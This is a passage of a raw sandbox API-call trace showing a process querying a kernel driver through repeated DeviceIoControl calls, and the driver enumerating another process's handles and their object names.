ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003929044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003929044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.521] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.521] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.521] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.521] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.521] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0093.521] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.521] PsAcquireProcessExitSynchronization () returned 0x0 [0093.522] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.522] ObReferenceObjectByHandle (in: Handle=0x2b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0093.522] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.522] PsReleaseProcessExitSynchronization () returned 0x2 [0093.522] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.522] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.522] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0093.522] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.522] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.522] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.522] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0093.522] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.522] PsAcquireProcessExitSynchronization () returned 0x0 [0093.522] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.522] ObReferenceObjectByHandle (in: Handle=0x2f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003191de0, HandleInformation=0x0) returned 0x0 [0093.522] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.522] PsReleaseProcessExitSynchronization () returned 0x2 [0093.522] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.522] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8002109044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002109044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.522] ObfDereferenceObject (Object=0xfffffa8003191de0) returned 0x1 [0093.522] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.522] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.522] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.522] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x44, lpOverlapped=0x0) returned 1 [0093.522] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.522] PsAcquireProcessExitSynchronization () returned 0x0 [0093.522] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.523] ObReferenceObjectByHandle (in: Handle=0x314, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800318ab80, HandleInformation=0x0) returned 0x0 [0093.523] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.523] PsReleaseProcessExitSynchronization () returned 0x2 [0093.523] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.523] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.523] ObfDereferenceObject (Object=0xfffffa800318ab80) returned 0x1 [0093.523] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.523] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.523] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.523] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0093.523] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.523] PsAcquireProcessExitSynchronization () returned 0x0 [0093.523] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.523] ObReferenceObjectByHandle (in: Handle=0x32c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003191340, HandleInformation=0x0) returned 0x0 [0093.523] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.523] PsReleaseProcessExitSynchronization () returned 0x2 [0093.523] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.523] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.523] ObfDereferenceObject (Object=0xfffffa8003191340) returned 0x1 [0093.523] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.523] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.523] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.523] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x42, lpOverlapped=0x0) returned 1 [0093.523] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.523] PsAcquireProcessExitSynchronization () returned 0x0 [0093.523] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.523] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003190f20, HandleInformation=0x0) returned 0x0 [0093.523] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.523] PsReleaseProcessExitSynchronization () returned 0x2 [0093.523] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.523] ObQueryNameString (in: Object=0xfffffa8002e554f0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.523] ObfDereferenceObject (Object=0xfffffa8003190f20) returned 0x1 [0093.524] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.524] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.524] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0093.524] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.524] PsAcquireProcessExitSynchronization () returned 0x0 [0093.524] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.524] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0012b2d20, HandleInformation=0x0) returned 0x0 [0093.524] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.524] PsReleaseProcessExitSynchronization () returned 0x2 [0093.524] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.524] ObQueryNameString (in: Object=0xfffff8a0012b2d20, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.524] ObfDereferenceObject (Object=0xfffff8a0012b2d20) returned 0x3 [0093.524] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.524] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.524] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0093.524] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.524] PsAcquireProcessExitSynchronization () returned 0x0 [0093.524] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.524] ObReferenceObjectByHandle (in: Handle=0x434, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f67870, HandleInformation=0x0) returned 0x0 [0093.524] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.524] PsReleaseProcessExitSynchronization () returned 0x2 [0093.524] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.524] ObQueryNameString (in: Object=0xfffffa8002f67870, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.524] ObfDereferenceObject (Object=0xfffffa8002f67870) returned 0x1 [0093.524] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.524] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.524] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.524] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xd2, lpOverlapped=0x0) returned 1 [0093.524] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.524] PsAcquireProcessExitSynchronization () returned 0x0 [0093.525] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.525] ObReferenceObjectByHandle (in: Handle=0x44c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003121070, HandleInformation=0x0) returned 0x0 [0093.525] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.525] PsReleaseProcessExitSynchronization () returned 0x2 [0093.525] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.525] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.525] ObfDereferenceObject (Object=0xfffffa8003121070) returned 0x12 [0093.525] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.525] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.525] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.525] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xd4, lpOverlapped=0x0) returned 1 [0093.525] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.525] PsAcquireProcessExitSynchronization () returned 0x0 [0093.525] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.525] ObReferenceObjectByHandle (in: Handle=0x450, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003121270, HandleInformation=0x0) returned 0x0 [0093.525] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.525] PsReleaseProcessExitSynchronization () returned 0x2 [0093.525] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.525] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fb0044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.525] ObfDereferenceObject (Object=0xfffffa8003121270) returned 0x13 [0093.525] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.525] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.525] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.525] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0093.525] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.525] PsAcquireProcessExitSynchronization () returned 0x0 [0093.525] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.525] ObReferenceObjectByHandle (in: Handle=0x458, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003247400, HandleInformation=0x0) returned 0x0 [0093.525] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.525] PsReleaseProcessExitSynchronization () returned 0x2 [0093.525] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.526] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.526] ObfDereferenceObject (Object=0xfffffa8003247400) returned 0x12 [0093.526] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.526] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.526] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.526] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xca, lpOverlapped=0x0) returned 1 [0093.526] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.526] PsAcquireProcessExitSynchronization () returned 0x0 [0093.526] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.526] ObReferenceObjectByHandle (in: Handle=0x45c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8002f71820, HandleInformation=0x0) returned 0x0 [0093.526] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.526] PsReleaseProcessExitSynchronization () returned 0x2 [0093.526] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.526] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.526] ObfDereferenceObject (Object=0xfffffa8002f71820) returned 0x13 [0093.526] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.526] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.526] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.526] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xcc, lpOverlapped=0x0) returned 1 [0093.526] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.526] PsAcquireProcessExitSynchronization () returned 0x0 [0093.526] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.526] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80032488b0, HandleInformation=0x0) returned 0x0 [0093.526] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.526] PsReleaseProcessExitSynchronization () returned 0x2 [0093.526] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.526] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.526] ObfDereferenceObject (Object=0xfffffa80032488b0) returned 0x12 [0093.526] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.526] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.526] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.526] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xd8, lpOverlapped=0x0) returned 1 [0093.527] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.527] PsAcquireProcessExitSynchronization () returned 0x0 [0093.527] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.527] ObReferenceObjectByHandle (in: Handle=0x464, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003261a90, HandleInformation=0x0) returned 0x0 [0093.527] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.527] PsReleaseProcessExitSynchronization () returned 0x2 [0093.527] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.527] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.527] ObfDereferenceObject (Object=0xfffffa8003261a90) returned 0x13 [0093.527] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.527] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.527] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xf8, lpOverlapped=0x0) returned 1 [0093.527] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.527] PsAcquireProcessExitSynchronization () returned 0x0 [0093.527] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.527] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003279070, HandleInformation=0x0) returned 0x0 [0093.527] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.527] PsReleaseProcessExitSynchronization () returned 0x2 [0093.527] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.527] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.527] ObfDereferenceObject (Object=0xfffffa8003279070) returned 0x12 [0093.527] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.527] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.527] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.527] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x104, lpOverlapped=0x0) returned 1 [0093.527] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.527] PsAcquireProcessExitSynchronization () returned 0x0 [0093.527] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880052335d0) [0093.527] ObReferenceObjectByHandle (in: Handle=0x488, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003278890, HandleInformation=0x0) returned 0x0 [0093.527] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.527] PsReleaseProcessExitSynchronization () returned 0x2 [0093.527] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0xfe [0093.527] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233508) returned 0x0 [0093.528] ObfDereferenceObject (Object=0xfffffa8003278890) returned 0x13 [0093.528] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.528] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0093.528] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0093.528] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0xda, lpOverlapped=0x0) returned 1 [0093.528] PsLookupProcessByProcessId (in: 